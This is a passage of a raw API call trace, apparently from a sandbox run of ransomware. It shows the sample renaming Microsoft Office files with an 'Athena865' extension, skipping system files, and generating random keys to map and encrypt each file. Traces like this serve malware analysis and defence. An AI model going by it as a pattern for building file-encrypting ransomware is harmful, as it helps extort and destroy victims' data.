(lpString="4dd") returned 3 [0141.152] lstrcmpiW (lpString1="HXC", lpString2="4dd") returned 1 [0141.152] lstrlenW (lpString="4dl") returned 3 [0141.152] lstrcmpiW (lpString1="HXC", lpString2="4dl") returned 1 [0141.152] lstrlenW (lpString="^^^") returned 3 [0141.152] lstrcmpiW (lpString1="HXC", lpString2="^^^") returned 1 [0141.152] lstrlenW (lpString="abs") returned 3 [0141.152] lstrcmpiW (lpString1="HXC", lpString2="abs") returned 1 [0141.152] lstrlenW (lpString="abx") returned 3 [0141.152] lstrcmpiW (lpString1="HXC", lpString2="abx") returned 1 [0141.153] lstrlenW (lpString="accdb") returned 5 [0141.153] lstrcmpiW (lpString1="L.HXC", lpString2="accdb") returned 1 [0141.153] lstrlenW (lpString="accdc") returned 5 [0141.153] lstrcmpiW (lpString1="L.HXC", lpString2="accdc") returned 1 [0141.153] lstrlenW (lpString="accde") returned 5 [0141.153] lstrcmpiW (lpString1="L.HXC", lpString2="accde") returned 1 [0141.153] lstrlenW (lpString="accdr") returned 5 [0141.153] lstrcmpiW (lpString1="L.HXC", lpString2="accdr") returned 1 [0141.153] lstrlenW (lpString="accdt") returned 5 [0141.153] lstrcmpiW (lpString1="L.HXC", lpString2="accdt") returned 1 [0141.153] lstrlenW (lpString="accdw") returned 5 [0141.153] lstrcmpiW (lpString1="L.HXC", lpString2="accdw") returned 1 [0141.153] lstrlenW (lpString="accft") returned 5 [0141.153] lstrcmpiW (lpString1="L.HXC", lpString2="accft") returned 1 [0141.153] lstrlenW (lpString="adb") returned 3 [0141.153] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0141.153] lstrlenW (lpString="adb") returned 3 [0141.153] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0141.153] lstrlenW (lpString="ade") returned 3 [0141.153] lstrcmpiW (lpString1="HXC", lpString2="ade") returned 1 [0141.153] lstrlenW (lpString="adf") returned 3 [0141.153] lstrcmpiW (lpString1="HXC", lpString2="adf") returned 1 [0141.153] lstrlenW (lpString="adn") returned 3 [0141.153] lstrcmpiW (lpString1="HXC", lpString2="adn") returned 1 [0141.153] lstrlenW (lpString="adp") returned 3 [0141.153] lstrcmpiW (lpString1="HXC", lpString2="adp") returned 1 [0141.153] lstrlenW (lpString="alf") returned 3 [0141.153] lstrcmpiW (lpString1="HXC", lpString2="alf") returned 1 [0141.153] lstrlenW (lpString="ask") returned 3 [0141.153] lstrcmpiW (lpString1="HXC", lpString2="ask") returned 1 [0141.153] lstrlenW (lpString="btr") returned 3 [0141.154] lstrcmpiW (lpString1="HXC", lpString2="btr") returned 1 [0141.154] lstrlenW (lpString="cat") returned 3 [0141.154] lstrcmpiW (lpString1="HXC", lpString2="cat") returned 1 [0141.154] lstrlenW (lpString="cdb") returned 3 [0141.154] lstrcmpiW (lpString1="HXC", lpString2="cdb") returned 1 [0141.154] lstrlenW (lpString="ckp") returned 3 [0141.154] lstrcmpiW (lpString1="HXC", lpString2="ckp") returned 1 [0141.154] lstrlenW (lpString="cma") returned 3 [0141.154] lstrcmpiW (lpString1="HXC", lpString2="cma") returned 1 [0141.154] lstrlenW (lpString="cpd") returned 3 [0141.154] lstrcmpiW (lpString1="HXC", lpString2="cpd") returned 1 [0141.154] lstrlenW (lpString="dacpac") returned 6 [0141.154] lstrcmpiW (lpString1="OL.HXC", lpString2="dacpac") returned 1 [0141.154] lstrlenW (lpString="dad") returned 3 [0141.154] lstrcmpiW (lpString1="HXC", lpString2="dad") returned 1 [0141.154] lstrlenW (lpString="dadiagrams") returned 10 [0141.154] lstrcmpiW (lpString1="VE_COL.HXC", lpString2="dadiagrams") returned 1 [0141.154] lstrlenW (lpString="daschema") returned 8 [0141.154] lstrcmpiW (lpString1="_COL.HXC", lpString2="daschema") returned -1 [0141.154] lstrlenW (lpString="db-journal") returned 10 [0141.154] lstrcmpiW (lpString1="VE_COL.HXC", lpString2="db-journal") returned 1 [0141.154] lstrlenW (lpString="db-shm") returned 6 [0141.154] lstrcmpiW (lpString1="OL.HXC", lpString2="db-shm") returned 1 [0141.154] lstrlenW (lpString="db-wal") returned 6 [0141.154] lstrcmpiW (lpString1="OL.HXC", lpString2="db-wal") returned 1 [0141.154] lstrlenW (lpString="dbc") returned 3 [0141.154] lstrcmpiW (lpString1="HXC", lpString2="dbc") returned 1 [0141.154] lstrlenW (lpString="dbs") returned 3 [0141.154] lstrcmpiW (lpString1="HXC", lpString2="dbs") returned 1 [0141.155] lstrlenW (lpString="dbt") returned 3 [0141.155] lstrcmpiW (lpString1="HXC", lpString2="dbt") returned 1 [0141.155] lstrlenW (lpString="dbv") returned 3 [0141.155] lstrcmpiW (lpString1="HXC", lpString2="dbv") returned 1 [0141.155] lstrlenW (lpString="dbx") returned 3 [0141.155] lstrcmpiW (lpString1="HXC", lpString2="dbx") returned 1 [0141.155] lstrlenW (lpString="dcb") returned 3 [0141.155] lstrcmpiW (lpString1="HXC", lpString2="dcb") returned 1 [0141.155] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.Athena865") returned 72 [0141.155] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.athena865"), dwFlags=0x1) returned 1 [0141.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.158] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=626) returned 1 [0141.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.158] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.159] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.159] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.159] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x17c [0141.161] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0141.162] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.163] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.163] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.164] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.164] CloseHandle (hObject=0x17c) returned 1 [0141.164] CloseHandle (hObject=0x154) returned 1 [0141.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.164] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GROOVE_COL.HXT", cAlternateFileName="GROOVE~1.HXT")) returned 1 [0141.164] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0141.164] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.164] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2=".") returned 1 [0141.164] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2="..") returned 1 [0141.164] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2="windows") returned -1 [0141.164] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2="bootmgr") returned 1 [0141.164] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2="temp") returned -1 [0141.164] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2="pagefile.sys") returned -1 [0141.164] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2="boot") returned 1 [0141.165] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2="ids.txt") returned -1 [0141.165] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2="ntuser.dat") returned -1 [0141.165] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2="perflogs") returned -1 [0141.165] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2="MSBuild") returned -1 [0141.165] lstrlenW (lpString="GROOVE_COL.HXT") returned 14 [0141.165] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GROOVE_COL.HXT" | out: lpString1="GROOVE_COL.HXT") returned="GROOVE_COL.HXT" [0141.165] lstrlenW (lpString="GROOVE_COL.HXT") returned 14 [0141.165] lstrlenW (lpString="Athena865") returned 9 [0141.165] lstrcmpiW (lpString1="E_COL.HXT", lpString2="Athena865") returned 1 [0141.165] lstrlenW (lpString=".dll") returned 4 [0141.165] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2=".dll") returned 1 [0141.165] lstrlenW (lpString=".lnk") returned 4 [0141.165] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2=".lnk") returned 1 [0141.165] lstrlenW (lpString=".ini") returned 4 [0141.165] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2=".ini") returned 1 [0141.165] lstrlenW (lpString=".sys") returned 4 [0141.165] lstrcmpiW (lpString1="GROOVE_COL.HXT", lpString2=".sys") returned 1 [0141.165] lstrlenW (lpString="GROOVE_COL.HXT") returned 14 [0141.165] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.Athena865") returned 72 [0141.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.athena865"), dwFlags=0x1) returned 1 [0141.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.167] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=218) returned 1 [0141.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.167] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.168] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.168] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.168] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x17c [0141.173] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0141.173] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.174] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.174] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.175] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.175] CloseHandle (hObject=0x17c) returned 1 [0141.175] CloseHandle (hObject=0x154) returned 1 [0141.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.175] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GROOVE_F_COL.HXK", cAlternateFileName="GROOVE~1.HXK")) returned 1 [0141.175] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0141.175] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.175] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2=".") returned 1 [0141.175] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2="..") returned 1 [0141.175] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2="windows") returned -1 [0141.175] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2="bootmgr") returned 1 [0141.175] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2="temp") returned -1 [0141.176] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2="pagefile.sys") returned -1 [0141.176] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2="boot") returned 1 [0141.176] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2="ids.txt") returned -1 [0141.176] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2="ntuser.dat") returned -1 [0141.176] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2="perflogs") returned -1 [0141.176] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2="MSBuild") returned -1 [0141.176] lstrlenW (lpString="GROOVE_F_COL.HXK") returned 16 [0141.176] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GROOVE_F_COL.HXK" | out: lpString1="GROOVE_F_COL.HXK") returned="GROOVE_F_COL.HXK" [0141.176] lstrlenW (lpString="GROOVE_F_COL.HXK") returned 16 [0141.176] lstrlenW (lpString="Athena865") returned 9 [0141.176] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0141.176] lstrlenW (lpString=".dll") returned 4 [0141.176] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2=".dll") returned 1 [0141.176] lstrlenW (lpString=".lnk") returned 4 [0141.176] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2=".lnk") returned 1 [0141.176] lstrlenW (lpString=".ini") returned 4 [0141.176] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2=".ini") returned 1 [0141.176] lstrlenW (lpString=".sys") returned 4 [0141.176] lstrcmpiW (lpString1="GROOVE_F_COL.HXK", lpString2=".sys") returned 1 [0141.176] lstrlenW (lpString="GROOVE_F_COL.HXK") returned 16 [0141.176] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.Athena865") returned 74 [0141.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0141.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.178] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=111) returned 1 [0141.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.178] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.179] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.179] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.179] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x17c [0141.181] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x100000 [0141.182] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.182] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.182] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.183] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.183] CloseHandle (hObject=0x17c) returned 1 [0141.183] CloseHandle (hObject=0x154) returned 1 [0141.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.184] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GROOVE_K_COL.HXK", cAlternateFileName="GROOVE~2.HXK")) returned 1 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2=".") returned 1 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2="..") returned 1 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2="windows") returned -1 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2="bootmgr") returned 1 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2="temp") returned -1 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2="pagefile.sys") returned -1 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2="boot") returned 1 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2="ids.txt") returned -1 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2="ntuser.dat") returned -1 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2="perflogs") returned -1 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2="MSBuild") returned -1 [0141.184] lstrlenW (lpString="GROOVE_K_COL.HXK") returned 16 [0141.184] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GROOVE_K_COL.HXK" | out: lpString1="GROOVE_K_COL.HXK") returned="GROOVE_K_COL.HXK" [0141.184] lstrlenW (lpString="GROOVE_K_COL.HXK") returned 16 [0141.184] lstrlenW (lpString="Athena865") returned 9 [0141.184] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0141.184] lstrlenW (lpString=".dll") returned 4 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2=".dll") returned 1 [0141.184] lstrlenW (lpString=".lnk") returned 4 [0141.184] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2=".lnk") returned 1 [0141.184] lstrlenW (lpString=".ini") returned 4 [0141.185] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2=".ini") returned 1 [0141.185] lstrlenW (lpString=".sys") returned 4 [0141.185] lstrcmpiW (lpString1="GROOVE_K_COL.HXK", lpString2=".sys") returned 1 [0141.185] lstrlenW (lpString="GROOVE_K_COL.HXK") returned 16 [0141.185] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.Athena865") returned 74 [0141.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0141.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.186] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=110) returned 1 [0141.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.187] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.187] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 